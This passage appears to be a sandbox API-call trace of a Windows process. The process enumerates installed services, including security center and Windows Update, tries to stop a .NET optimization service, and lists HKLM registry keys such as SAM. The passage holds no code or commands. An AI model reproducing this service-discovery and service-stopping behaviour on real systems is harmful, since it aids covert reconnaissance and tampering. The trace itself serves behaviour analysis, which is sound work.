lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1da4018, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winhttpautoproxysvc", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0032.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winhttpautoproxysvc", cchWideChar=19, lpMultiByteStr=0x1da4018, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winhttpautoproxysvc", lpUsedDefaultChar=0x0) returned 19 [0032.684] OpenServiceW (hSCManager=0x2d3600, lpServiceName="WinHttpAutoProxySvc", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.684] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.684] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.685] GetLastError () returned 0x7a [0032.685] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x158, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1da4060, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winmgmt", cchWideChar=7, lpMultiByteStr=0x1da4060, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winmgmt", lpUsedDefaultChar=0x0) returned 7 [0032.685] OpenServiceW (hSCManager=0x2d3600, lpServiceName="Winmgmt", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.685] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.685] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.685] GetLastError () returned 0x7a [0032.685] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x128, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1da40a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winrm", cchWideChar=5, lpMultiByteStr=0x1da40a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winrm", lpUsedDefaultChar=0x0) returned 5 [0032.686] OpenServiceW (hSCManager=0x2d3600, lpServiceName="WinRM", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.686] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.686] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.686] GetLastError () returned 0x7a [0032.686] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x16e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1da40f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wlansvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wlansvc", cchWideChar=7, lpMultiByteStr=0x1da40f0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wlansvc", lpUsedDefaultChar=0x0) returned 7 [0032.687] OpenServiceW (hSCManager=0x2d3600, lpServiceName="Wlansvc", dwDesiredAccess=0x1) returned 0x2d3790 [0032.687] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.687] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.687] GetLastError () returned 0x7a [0032.687] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x16a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1da4138, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmiapsrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmiapsrv", cchWideChar=8, lpMultiByteStr=0x1da4138, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmiapsrv", lpUsedDefaultChar=0x0) returned 8 [0032.688] OpenServiceW (hSCManager=0x2d3600, lpServiceName="wmiApSrv", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.688] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.688] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.688] GetLastError () returned 0x7a [0032.688] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0xfe, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmiapsrv.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmiapsrv.exe", cchWideChar=12, lpMultiByteStr=0x1da4180, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmiapsrv.exe", lpUsedDefaultChar=0x0) returned 12 [0032.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmpnetworksvc", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmpnetworksvc", cchWideChar=13, lpMultiByteStr=0x1da4180, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnetworksvc", lpUsedDefaultChar=0x0) returned 13 [0032.688] OpenServiceW (hSCManager=0x2d3600, lpServiceName="WMPNetworkSvc", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.688] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.689] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.689] GetLastError () returned 0x7a [0032.689] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x16e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe", cchWideChar=12, lpMultiByteStr=0x1da41c8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnetwk.exe", lpUsedDefaultChar=0x0) returned 12 [0032.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpcsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpcsvc", cchWideChar=6, lpMultiByteStr=0x1da41c8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpcsvc", lpUsedDefaultChar=0x0) returned 6 [0032.689] OpenServiceW (hSCManager=0x2d3600, lpServiceName="WPCSvc", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.689] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.689] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.690] GetLastError () returned 0x7a [0032.690] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1da4210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpdbusenum", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0032.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpdbusenum", cchWideChar=10, lpMultiByteStr=0x1da4210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpdbusenum", lpUsedDefaultChar=0x0) returned 10 [0032.690] OpenServiceW (hSCManager=0x2d3600, lpServiceName="WPDBusEnum", dwDesiredAccess=0x1) returned 0x2d3790 [0032.690] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.690] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.690] GetLastError () returned 0x7a [0032.690] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x152, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1da4258, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wscsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wscsvc", cchWideChar=6, lpMultiByteStr=0x1da4258, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wscsvc", lpUsedDefaultChar=0x0) returned 6 [0032.691] OpenServiceW (hSCManager=0x2d3600, lpServiceName="wscsvc", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.691] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.691] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.691] GetLastError () returned 0x7a [0032.691] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x15a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1da42a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wsearch", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wsearch", cchWideChar=7, lpMultiByteStr=0x1da42a0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wsearch", lpUsedDefaultChar=0x0) returned 7 [0032.692] OpenServiceW (hSCManager=0x2d3600, lpServiceName="WSearch", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.692] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.692] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.692] GetLastError () returned 0x7a [0032.692] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x10c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchindexer.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0032.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchindexer.exe", cchWideChar=17, lpMultiByteStr=0x1da42e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="searchindexer.exe", lpUsedDefaultChar=0x0) returned 17 [0032.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wuauserv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wuauserv", cchWideChar=8, lpMultiByteStr=0x1da42e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wuauserv", lpUsedDefaultChar=0x0) returned 8 [0032.692] OpenServiceW (hSCManager=0x2d3600, lpServiceName="wuauserv", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.693] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.693] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.693] GetLastError () returned 0x7a [0032.693] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x100, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1da4330, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wudfsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wudfsvc", cchWideChar=7, lpMultiByteStr=0x1da4330, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wudfsvc", lpUsedDefaultChar=0x0) returned 7 [0032.693] OpenServiceW (hSCManager=0x2d3600, lpServiceName="wudfsvc", dwDesiredAccess=0x1) returned 0x2d3790 [0032.693] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.694] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.694] GetLastError () returned 0x7a [0032.694] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x19e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1da4378, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.694] OpenServiceW (hSCManager=0x2d3600, lpServiceName="WwanSvc", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.694] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.694] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.694] GetLastError () returned 0x7a [0032.694] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x170, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.695] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.695] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0032.695] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1de3ea8) returned 1 [0032.695] CryptAcquireContextW (in: phProv=0x18fc2c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc2c*=0x2d5e38) returned 1 [0032.696] CryptGenRandom (in: hProv=0x2d5e38, dwLen=0x4, pbBuffer=0x18fc40 | out: pbBuffer=0x18fc40) returned 1 [0032.696] CryptReleaseContext (hProv=0x2d5e38, dwFlags=0x0) returned 1 [0032.696] OpenServiceW (hSCManager=0x2d3600, lpServiceName="clr_optimization_v4.0.30319_32", dwDesiredAccess=0x20) returned 0x2d36c8 [0032.696] ControlService (in: hService=0x2d36c8, dwControl=0x1, lpServiceStatus=0x18fb90 | out: lpServiceStatus=0x18fb90*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0032.696] GetLastError () returned 0x426 [0032.696] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.696] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4378 [0032.696] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da43c0 [0032.696] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5d90 [0032.697] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x280) returned 0x1d92850 [0032.697] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0032.697] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1d92850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0032.697] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.697] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1da4408, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0032.697] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.697] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.697] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.697] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.697] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1d92850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0032.697] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.697] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0032.697] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.697] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.697] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.697] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.697] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1d92850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0032.697] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 